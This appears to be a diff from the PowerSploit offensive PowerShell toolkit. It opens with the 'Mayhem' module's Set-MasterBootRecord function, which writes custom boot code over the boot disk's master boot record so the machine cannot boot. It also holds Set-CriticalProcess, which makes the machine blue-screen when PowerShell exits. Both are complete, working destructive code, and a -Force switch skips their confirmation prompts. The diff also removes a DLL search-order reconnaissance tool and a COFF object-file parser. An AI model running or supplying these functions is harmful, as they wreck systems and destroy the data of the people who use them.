0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
Param (
[ValidateLength(1, 479)]
[String]
$BootMessage = 'Stop-Crying; Get-NewHardDrive',
[Switch]
$RebootImmediately,
[Switch]
$Force
)
if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
throw 'This script must be executed from an elevated command prompt.'
}
if (!$Force)
{
if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.'))
{
return
}
}
#region define P/Invoke types dynamically
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
$TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
@('kernel32.dll'),
[Reflection.FieldInfo[]]@($SetLastError),
@($True))
# Define [Win32.Kernel32]::DeviceIoControl
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CreateFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[IntPtr],
[Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::WriteFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CloseHandle
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32 = $TypeBuilder.CreateType()
#endregion
$LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5)))
# Convert the boot message to a byte array
$MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage))
[Byte[]] $MBRInfectionCode = @(
0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode
0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color
0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color
0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20
0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length
0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters
0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White
0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string
0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer
) + $MessageBytes
$MBRSize = [UInt32] 512
if ($MBRInfectionCode.Length -gt ($MBRSize - 2))
{
throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes."
}
# Allocate 512 bytes for the MBR
$MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
# Zero-initialize the allocated unmanaged memory
0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
[Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
# Write boot record signature to the end of the MBR
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55)
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA)
# Get the device ID of the boot disk
$DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID
$GENERIC_READWRITE = 0x80000000 -bor 0x40000000
$FILE_SHARE_READWRITE = 2 -bor 1
$OPEN_EXISTING = 3
# Obtain a read handle to the raw disk
$DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0)
if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF))
{
throw "Unable to obtain read/write handle to $DeviceID"
}
$BytesReturned = [UInt32] 0
$BytesWritten = [UInt32] 0
$FSCTL_LOCK_VOLUME = 0x00090018
$FSCTL_UNLOCK_VOLUME = 0x0009001C
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0)
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::CloseHandle($DriveHandle)
Start-Sleep -Seconds 2
[Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes)
Write-Verbose 'Master boot record overwritten successfully.'
if ($RebootImmediately)
{
Restart-Computer -Force
}
}
function Set-CriticalProcess
{
<#
.SYNOPSIS
Causes your machine to blue screen upon exiting PowerShell.
PowerSploit Function: Set-CriticalProcess
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER ExitImmediately
Immediately exit PowerShell after successfully marking the process as critical.
.PARAMETER Force
Set the running PowerShell process as critical without asking for confirmation.
.EXAMPLE
Set-CriticalProcess
.EXAMPLE
Set-CriticalProcess -ExitImmediately
.EXAMPLE
Set-CriticalProcess -Force -Verbose
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
Param (
[Switch]
$Force,
[Switch]
$ExitImmediately
)
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
{
throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.'
}
$Response = $True
if (!$Force)
{
$Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.')
}
if (!$Response)
{
return
}
$DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False)
# Define [ntdll]::NtQuerySystemInformation method
$TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess',
'ntdll.dll',
([Reflection.MethodAttributes] 'Public, Static'),
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$ntdll = $TypeBuilder.CreateType()
$ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle
$ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4)
$ProcessBreakOnTermination = 29
$SizeUInt32 = 4
try
{
$null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32)
}
catch
{
return
}
Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.'
if ($ExitImmediately)
{
Stop-Process -Id $PID
}
}
+11 -11
View File
@@ -1,12 +1,12 @@
To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module Recon`
To see the commands imported, type `Get-Command -Module Recon`
For help on each individual command, Get-Help is your friend.
To install this module, drop the entire Mayhem folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module Mayhem`
To see the commands imported, type `Get-Command -Module Mayhem`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
-190
View File
@@ -1,190 +0,0 @@
function Get-DllLoadPath
{
<#
.SYNOPSIS
Outputs the order of paths in which a dll would be loaded.
PowerSploit Function: Get-DllLoadPath
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-DllLoadPath returns the path from which Windows will load a Dll for the given executable.
.PARAMETER ExecutablePath
Path to the executable from which the Dll would be loaded.
.PARAMETER DllName
Name of the Dll in the form 'dllname.dll'.
.EXAMPLE
C:\PS> Get-DllLoadPath C:\Windows\System32\cmd.exe kernel32.dll
Path
----
C:\Windows\system32\kernel32.dll
.EXAMPLE
C:\PS> Get-DllLoadPath C:\Windows\SysWOW64\calc.exe Comctl32.dll
Path
----
C:\Windows\SysWOW64\Comctl32.dll
.OUTPUTS
System.Management.Automation.PathInfo
.NOTES
This script will not detect if the executable provided intentionally alters the Dll search path via LoadLibraryEx, SetDllDirectory, or AddDllDirectory.
.LINK
http://www.exploit-monday.com
http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586%28v=vs.85%29.aspx
#>
Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$ExecutablePath,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$DllName
)
if (!(Test-Path $ExecutablePath)) {
Write-Warning 'Invalid path or file does not exist.'
return
} else {
$ExecutablePath = Resolve-Path $ExecutablePath
$ExecutableDirectory = Split-Path $ExecutablePath
}
if ($DllName.Contains('.dll')) {
$DllNameShort = $DllName.Split('.')[0]
} else {
Write-Warning 'You must provide a proper dll name (i.e. kernel32.dll)'
return
}
function Get-PEArchitecture {
Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path )
# Parse PE header to see if binary was compiled 32 or 64-bit
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
[Byte[]] $MZHeader = New-Object Byte[](2)
$FileStream.Read($MZHeader,0,2) | Out-Null
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
if ($Header -ne 'MZ') {
Write-Warning 'Invalid PE header.'
$FileStream.Close()
return
}
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $lfanew = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$FileStream.Read($lfanew,0,4) | Out-Null
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
# Read compiled architecture
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
$FileStream.Close()
if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) {
Write-Warning 'Invalid PE header or unsupported architecture.'
return
}
if ($Architecture -eq '014C') {
return 'X86'
} elseif ($Architecture -eq '8664') {
return 'X64'
} else {
return 'OTHER'
}
}
# Check if SafeDllSearch is disabled. Note: The logic of this check will fail in XP SP0/1
$UnsafeSearch = $False
$SearchMode = (Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager').SafeDllSearchMode
if ($SearchMode -eq 0) { $UnsafeSearch = $True }
$OSArch = (Get-WmiObject Win32_OperatingSystem -Property OSArchitecture).OSArchitecture
$PEArch = Get-PEArchitecture $ExecutablePath
$KnownDlls = Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs'
if ($OSArch -eq '32-bit') {
$DllDirectory = Resolve-Path $KnownDlls.DllDirectory
} else {
if ($PEArch -eq 'X86') {
$DllDirectory = Resolve-Path $KnownDlls.DllDirectory32
} else {
$DllDirectory = Resolve-Path $KnownDlls.DllDirectory
}
}
if ($KnownDlls | Get-Member -MemberType NoteProperty | Where-Object { $_.Name -eq $DllNameShort }) {
$Expression = '$KnownDlls.' + "$DllNameShort"
$Filename = Invoke-Expression $Expression
return Resolve-Path (Join-Path $DllDirectory $Filename)
}
$FoundInAppDirectory = Get-ChildItem (Join-Path $ExecutableDirectory $DllName) -ErrorAction SilentlyContinue
if ($FoundInAppDirectory) { return Resolve-Path $FoundInAppDirectory.FullName }
if ($UnsafeSearch) {
$FoundInWorkingDirectory = Get-ChildItem (Join-Path (Get-Location) $DllName) -ErrorAction SilentlyContinue
if ($FoundInWorkingDirectory) { return Resolve-Path $FoundInWorkingDirectory.FullName }
}
$FoundInSystemDirectory = Get-ChildItem (Join-Path $DllDirectory $DllName) -ErrorAction SilentlyContinue
if ($FoundInSystemDirectory) { return Resolve-Path $FoundInSystemDirectory.FullName }
$FoundIn16BitSystemDir = Get-ChildItem "$($Env:windir)\System\$DllName" -ErrorAction SilentlyContinue
if ($FoundIn16BitSystemDir) { return Resolve-Path $FoundIn16BitSystemDir.FullName }
$FoundInWindowsDirectory = Get-ChildItem "$($Env:windir)\$DllName" -ErrorAction SilentlyContinue
if ($FoundInWindowsDirectory) { return Resolve-Path $FoundInWindowsDirectory.FullName }
if (!$UnsafeSearch) {
$FoundInWorkingDirectory = Get-ChildItem (Join-Path (Get-Location) $DllName) -ErrorAction SilentlyContinue
if ($FoundInWorkingDirectory) { return Resolve-Path $FoundInWorkingDirectory.FullName }
}
$Env:Path.Split(';') | ForEach-Object {
if ($_ -match '%(.{1,})%') {
$TempPath = $_.Replace($Matches[0], [Environment]::GetEnvironmentVariable($Matches[1]))
} else {
$TempPath = $_
}
$FoundInPathEnvVar = Get-ChildItem (Join-Path $TempPath $DllName) -ErrorAction SilentlyContinue
if ($FoundInPathEnvVar) { return Resolve-Path $FoundInPathEnvVar.FullName }
}
}
-292
View File
@@ -1,292 +0,0 @@
<?xml version="1.0" encoding="utf-8" ?>
<Configuration>
<ViewDefinitions>
<View>
<Name>ObjectFileView</Name>
<ViewSelectedBy>
<TypeName>COFF.OBJECT_FILE</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>COFFHeader</PropertyName>
</ListItem>
<ListItem>
<PropertyName>SectionHeaders</PropertyName>
</ListItem>
<ListItem>
<PropertyName>SymbolTable</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>COFFHeaderView</Name>
<ViewSelectedBy>
<TypeName>COFF.HEADER</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Machine</PropertyName>
</ListItem>
<ListItem>
<PropertyName>NumberOfSections</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</ListItem>
<ListItem>
<PropertyName>TimeDateStamp</PropertyName>
</ListItem>
<ListItem>
<PropertyName>PointerToSymbolTable</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>NumberOfSymbols</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>SizeOfOptionalHeader</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</ListItem>
<ListItem>
<PropertyName>Characteristics</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>SectionHeaderView</Name>
<ViewSelectedBy>
<TypeName>COFF.SECTION_HEADER</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Name</PropertyName>
</ListItem>
<ListItem>
<PropertyName>PhysicalAddress</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>VirtualSize</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>VirtualAddress</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>SizeOfRawData</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>PointerToRawData</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>PointerToRelocations</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>PointerToLinenumbers</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>NumberOfRelocations</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</ListItem>
<ListItem>
<PropertyName>NumberOfLinenumbers</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</ListItem>
<ListItem>
<PropertyName>Characteristics</PropertyName>
</ListItem>
<ListItem>
<PropertyName>RawData</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Relocations</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>SymbolTableView</Name>
<ViewSelectedBy>
<TypeName>COFF.SYMBOL_TABLE</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>Name</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Value</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>SectionNumber</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Type</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>StorageClass</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>NumberOfAuxSymbols</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>AuxSymbols</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<PropertyName>Name</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Value</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>SectionNumber</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Type</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>StorageClass</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>NumberOfAuxSymbols</PropertyName>
<FormatString>0x{0:X2}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>AuxSymbols</PropertyName>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
<View>
<Name>SectionDefinitionView</Name>
<ViewSelectedBy>
<TypeName>COFF.SECTION_DEFINITION</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>Length</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>NumberOfRelocations</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>NumberOfLinenumbers</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>CheckSum</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Number</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Selection</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<PropertyName>Length</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>NumberOfRelocations</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>NumberOfLinenumbers</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>CheckSum</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Number</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Selection</PropertyName>
<FormatString>0x{0:X2}</FormatString>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
<View>
<Name>RelocationView</Name>
<ViewSelectedBy>
<TypeName>COFF.RelocationEntry</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>VirtualAddress</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>SymbolTableIndex</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Type</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Name</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<PropertyName>VirtualAddress</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>SymbolTableIndex</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Type</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Name</PropertyName>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
</ViewDefinitions>
</Configuration>
-708
View File
@@ -1,708 +0,0 @@
function Get-ObjDump
{
<#
.SYNOPSIS
Displays information about one or more Windows object files.
PowerSploit Function: Get-ObjDump
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-ObjDump parses and returns nearly identical infomation as the dumpbin
utility. By nature of Get-ObjDump returning objects though, it lends itself
much better to manipulation since every field is an object.
.PARAMETER Path
Specifies a path to one or more object file locations.
.EXAMPLE
C:\PS>Get-ObjDump -Path main.obj
.EXAMPLE
C:\PS>ls *.obj | Get-ObjDump
.EXAMPLE
C:\PS>$ObjectFile = Get-ObjDump -Path shellcode.obj
C:\PS>$CodeBytes = $ObjectFile.SectionHeaders | ? {$_.Name -eq '.text'} | % {$_.RawData}
Description
-----------
Pulls the raw bytes out of the text section. Note that in this form,
no relocations have been fixed up.
.INPUTS
System.String[]
You can pipe a file system path (in quotation marks) to Get-ObjDump.
.OUTPUTS
COFF.OBJECT_FILE
.LINK
http://www.exploit-monday.com/
#>
[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
[ValidateScript({ Test-Path $_ })]
[String[]]
$Path
)
BEGIN
{
$Code = @'
using System;
using System.IO;
using System.Text;
namespace COFF
{
public enum Machine : ushort
{
UNKNOWN = 0,
I386 = 0x014C, // Intel 386.
R3000 = 0x0162, // MIPS little-endian =0x160 big-endian
R4000 = 0x0166, // MIPS little-endian
R10000 = 0x0168, // MIPS little-endian
WCEMIPSV2 = 0x0169, // MIPS little-endian WCE v2
ALPHA = 0x0184, // Alpha_AXP
SH3 = 0x01A2, // SH3 little-endian
SH3DSP = 0x01A3,
SH3E = 0x01A4, // SH3E little-endian
SH4 = 0x01A6, // SH4 little-endian
SH5 = 0x01A8, // SH5
ARM = 0x01C0, // ARM Little-Endian
THUMB = 0x01C2,
ARMV7 = 0x01C4, // ARM Thumb-2 Little-Endian
AM33 = 0x01D3,
POWERPC = 0x01F0, // IBM PowerPC Little-Endian
POWERPCFP = 0x01F1,
IA64 = 0x0200, // Intel 64
MIPS16 = 0x0266, // MIPS
ALPHA64 = 0x0284, // ALPHA64
MIPSFPU = 0x0366, // MIPS
MIPSFPU16 = 0x0466, // MIPS
AXP64 = ALPHA64,
TRICORE = 0x0520, // Infineon
CEF = 0x0CEF,
EBC = 0x0EBC, // EFI public byte Code
AMD64 = 0x8664, // AMD64 (K8)
M32R = 0x9041, // M32R little-endian
ARM64 = 0xAA64, // ARMv8 in 64-bit mode
CEE = 0xC0EE
}
[Flags]
public enum CoffHeaderCharacteristics : ushort
{
RELOCS_STRIPPED = 0x0001, // Relocation info stripped from file.
EXECUTABLE_IMAGE = 0x0002, // File is executable (i.e. no unresolved external references).
LINE_NUMS_STRIPPED = 0x0004, // Line nunbers stripped from file.
LOCAL_SYMS_STRIPPED = 0x0008, // Local symbols stripped from file.
AGGRESIVE_WS_TRIM = 0x0010, // Agressively trim working set
LARGE_ADDRESS_AWARE = 0x0020, // App can handle >2gb addresses
REVERSED_LO = 0x0080, // public bytes of machine public ushort are reversed.
BIT32_MACHINE = 0x0100, // 32 bit public ushort machine.
DEBUG_STRIPPED = 0x0200, // Debugging info stripped from file in .DBG file
REMOVABLE_RUN_FROM_SWAP = 0x0400, // If Image is on removable media =copy and run from the swap file.
NET_RUN_FROM_SWAP = 0x0800, // If Image is on Net =copy and run from the swap file.
SYSTEM = 0x1000, // System File.
DLL = 0x2000, // File is a DLL.
UP_SYSTEM_ONLY = 0x4000, // File should only be run on a UP machine
REVERSED_HI = 0x8000 // public bytes of machine public ushort are reversed.
}
public class HEADER
{
public Machine Machine;
public ushort NumberOfSections;
public DateTime TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public CoffHeaderCharacteristics Characteristics;
public HEADER(BinaryReader br)
{
this.Machine = (Machine) br.ReadUInt16();
this.NumberOfSections = br.ReadUInt16();
this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32());
this.PointerToSymbolTable = br.ReadUInt32();
this.NumberOfSymbols = br.ReadUInt32();
this.SizeOfOptionalHeader = br.ReadUInt16();
this.Characteristics = (CoffHeaderCharacteristics) br.ReadUInt16();
}
}
[Flags]
public enum SectionHeaderCharacteristics : uint
{
TYPE_NO_PAD = 0x00000008, // Reserved.
CNT_CODE = 0x00000020, // Section contains code.
CNT_INITIALIZED_DATA = 0x00000040, // Section contains initialized data.
CNT_UNINITIALIZED_DATA = 0x00000080, // Section contains uninitialized data.
LNK_INFO = 0x00000200, // Section contains comments or some other type of information.
LNK_REMOVE = 0x00000800, // Section contents will not become part of image.
LNK_COMDAT = 0x00001000, // Section contents comdat.
NO_DEFER_SPEC_EXC = 0x00004000, // Reset speculative exceptions handling bits in the TLB entries for this section.
GPREL = 0x00008000, // Section content can be accessed relative to GP
MEM_FARDATA = 0x00008000,
MEM_PURGEABLE = 0x00020000,
MEM_16BIT = 0x00020000,
MEM_LOCKED = 0x00040000,
MEM_PRELOAD = 0x00080000,
ALIGN_1BYTES = 0x00100000,
ALIGN_2BYTES = 0x00200000,
ALIGN_4BYTES = 0x00300000,
ALIGN_8BYTES = 0x00400000,
ALIGN_16BYTES = 0x00500000, // Default alignment if no others are specified.
ALIGN_32BYTES = 0x00600000,
ALIGN_64BYTES = 0x00700000,
ALIGN_128BYTES = 0x00800000,
ALIGN_256BYTES = 0x00900000,
ALIGN_512BYTES = 0x00A00000,
ALIGN_1024BYTES = 0x00B00000,
ALIGN_2048BYTES = 0x00C00000,
ALIGN_4096BYTES = 0x00D00000,
ALIGN_8192BYTES = 0x00E00000,
ALIGN_MASK = 0x00F00000,
